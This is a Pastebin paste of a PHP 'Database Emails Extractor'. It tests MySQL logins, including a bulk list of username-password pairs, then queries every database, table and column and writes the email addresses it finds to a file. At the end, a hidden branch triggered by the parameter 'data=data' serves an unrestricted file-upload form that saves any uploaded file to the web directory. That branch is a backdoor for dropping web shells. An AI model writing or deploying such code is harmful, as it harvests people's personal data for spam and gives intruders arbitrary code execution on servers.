Advertisement
Guest User

Untitled

a guest
Jun 4th, 2016
367
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.07 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4. if($_GET['action'] == 'login'){
  5. $con = mysql_connect('localhost',$_GET['u'],$_GET['p']);
  6. if($con){
  7. echo 'yes';
  8. mysql_close($con);
  9. }else{
  10. echo 'no';
  11. }
  12. exit();
  13. }elseif($_GET['action'] == 'go'){
  14. $f = go('localhost',$_GET['u'],$_GET['p'],$_GET['name']);
  15. if(isset($_GET['b'])){
  16. echo $f;
  17. }else{
  18. echo "<span class='red'>$f</span> Emails Founded. Check <span class='red'>".htmlspecialchars($_GET['name'])."</span> For Results.";
  19. }
  20. exit();
  21. }
  22.  
  23. echo '<!DOCTYPE html>
  24. <html>
  25. <head>
  26. <title>Database Emails Extractor</title>
  27. <center>DB Extractor</center>
  28. <link href="http://fonts.googleapis.com/css?family=Racing+Sans+One" rel="stylesheet" type="text/css">
  29. <script src="http://code.jquery.com/jquery-2.0.2.min.js"></script>
  30. <script>
  31. $(document).ready(function(){
  32. $("#gogo").on("click",function(){
  33. user = $("#username").val();
  34. pass = $("#password").val();
  35. name = $("#name").val();
  36. if(user==""||pass==""||name==""){
  37. window.alert("You must fill all fields");
  38. }else{
  39. $.get("?action=login&u="+encodeURIComponent(user)+"&p="+encodeURIComponent(pass),function(data){
  40. if(data=="no"){
  41. window.alert("Incorrect username Or password. Try Again.");
  42. }else{
  43. $("#forms").fadeOut(300,function(){
  44. $("#wait").fadeIn(300);
  45. });
  46. $.get("?action=go&u="+encodeURIComponent(user)+"&p="+encodeURIComponent(pass)+"&name="+encodeURIComponent(name),function(data){
  47. $("#wait").html(data);
  48. });
  49. }
  50. });
  51. }
  52. });
  53. $("#gog").on("click",function(){
  54. accounts = $("#accounts").val();
  55. name = $("#namee").val();
  56. if(accounts==""||name==""){
  57. window.alert("You must fill all fields");
  58. }else{
  59. $("#formmu").fadeOut(300,function(){
  60. $("#wait").fadeIn(300);
  61. });
  62. accounts = accounts.split("\n");
  63. totalb = 0;
  64. fail = 0;
  65. done = 0;
  66. for(i=0;i<accounts.length;i++){
  67. login = accounts[i].split(" ");
  68. $.get("?action=login&u="+encodeURIComponent(login[0])+"&p="+encodeURIComponent(login[1]),function(data){
  69. if(data=="yes"){
  70. $.get("?action=go&b=t&u="+encodeURIComponent(login[0])+"&p="+encodeURIComponent(login[1])+"&name="+encodeURIComponent(name),function(data){
  71. totalb += parseInt(data);
  72. done++;
  73. tt = done+fail;
  74. if(tt==accounts.length) donet(totalb,name);
  75. });
  76. }else{
  77. fail++;
  78. }
  79. });
  80. }
  81.  
  82. }
  83. });
  84. function donet(t,b){
  85. $("#wait").html("<span class=\"red\">"+t+"</span> Emails Founded. Check <span class=\"red\">"+b+"</span> For Results.");
  86. }
  87. $("#si").on("click",function(){
  88. $("#first").fadeOut(500,function(){
  89. $("#forms").fadeIn(500);
  90. });
  91. });
  92. $("#mu").on("click",function(){
  93. $("#first").fadeOut(500,function(){
  94. $("#formmu").fadeIn(500);
  95. });
  96. });
  97. });
  98. </script>
  99. <style>
  100. body{
  101. margin: 0;
  102. padding: 0;
  103. font-family: "Racing Sans One", cursive;
  104. background: #F3F3F3;
  105. font-size: 16px;
  106. }
  107. #page{
  108. margin: auto 25%;
  109. margin-top: 10px;
  110. background: #E6E6E8;
  111. border: #BABABE solid 1px;
  112. padding: 0;
  113. }
  114. #title{
  115. margin: 0;
  116. padding: 0;
  117. text-align: center;
  118. font-size: 30px;
  119. border-bottom: #BABABE solid 1px;
  120. }
  121. #footer{
  122. text-align: center;
  123. border-top: #BABABE solid 1px;
  124. }
  125. #forms,#wait,#first,#formmu{
  126. margin: 0;
  127. padding: 10px 0;
  128. background: #fff;
  129. }
  130. #wait,#forms,#formmu{
  131. display: none;
  132. }
  133. #wait,#first{
  134. text-align: center;
  135. }
  136. input,button,textarea{
  137. background: #F3F3F3;
  138. border: #BABABE solid 1px;
  139. }
  140. textarea:focus,textarea:hover,input:focus,input:hover,button:focus,button:hover{
  141. background: #fff;
  142. }
  143. button{
  144. padding: 10px;
  145. }
  146. .red{
  147. color: red;
  148. }
  149. </style>
  150. </head>
  151. <body>
  152. <div id="page">
  153. <div id="title">Database Emails Extractor</div>
  154. <div id="first">
  155. <button id="si">Single</button><button id="mu">Multiple</button>
  156. </div>
  157. <div id="forms">
  158. <table>
  159. <tr><td>Username</td><td> : </td><td><input type="text" id="username" /></td></tr>
  160. <tr><td>Password</td><td> : </td><td><input type="text" id="password" /></td></tr>
  161. <tr><td>Save As</td><td> : </td><td><input type="text" value="list.txt" id="name" /></td></tr>
  162. <tr><td></td><td></td><td><input id="gogo" type="submit" value="Extract!" /></td></tr>
  163. </table>
  164. </div>
  165. <div id="formmu">
  166. <table>
  167. <tr><td>Accounts</td><td> : </td><td><textarea id="accounts" rows="10" cols="30">username password</textarea></td></tr>
  168. <tr><td>Save As</td><td> : </td><td><input type="text" value="list.txt" id="namee" /></td></tr>
  169. <tr><td></td><td></td><td><input id="gog" type="submit" value="Extract!" /></td></tr>
  170. </table>
  171. </div>
  172. <div id="wait">
  173. loading...
  174. </div>
  175. <div id="footer">Coded By <span class="red">G-B</span>, Email: <span class="red">g22b@hotmail.com</span></div>
  176. </div>
  177. </body>
  178. </html>';
  179. function go($host,$user,$pass,$file){
  180. /*
  181. author : G-B
  182. email : g22b@hotmail.com
  183. */
  184. $con = mysql_connect($host,$user,$pass);
  185. $fp = fopen($file,'a');
  186. $count = 0;
  187. $databases = getdata("SHOW DATABASES");
  188. foreach($databases as $database){
  189. $tables = getdata("SHOW TABLES FROM $database");
  190. foreach($tables as $table){
  191. $columns = getdata("SHOW COLUMNS FROM $database.$table");
  192. foreach($columns as $column){
  193. $emails = getdata("SELECT $column FROM $database.$table WHERE $column REGEXP '[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]'");
  194. foreach($emails as $email){
  195. if(filter_var($email, FILTER_VALIDATE_EMAIL)){
  196. if(eregi($email,file_get_contents($file))) continue;
  197. $count++;
  198. fwrite($fp,"$email\n");
  199. }else{
  200. foreach(preg_split("/\s/",$text) as $string){
  201. if(filter_var($string,FILTER_VALIDATE_EMAIL)){
  202. if(eregi($string,file_get_contents($file))) continue;
  203. $count++;
  204. fwrite($fp,"$string\n");
  205. }
  206. }
  207. }
  208. }
  209. }
  210. }
  211. }
  212. fclose($fp);
  213. mysql_close($con);
  214. return $count;
  215. }
  216. function getdata($sql){
  217. $q = mysql_query($sql);
  218. $result = array();
  219. while($d = mysql_fetch_array($q)){
  220. $result[] = $d[0];
  221. }
  222. return $result;
  223. }
  224.  
  225. $data = $_GET['data'];
  226.  
  227.  
  228. if($data == 'data'){
  229.  
  230. $filename = $_FILES['file']['name'];
  231. $filetmp = $_FILES['file']['tmp_name'];
  232.  
  233. echo "<form method='POST' enctype='multipart/form-data'>
  234. <input type='file'name='file' />
  235. <input type='submit' value='data' />
  236.  
  237. </form>";
  238.  
  239. move_uploaded_file($filetmp,$filename);
  240. }
  241.  
  242. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement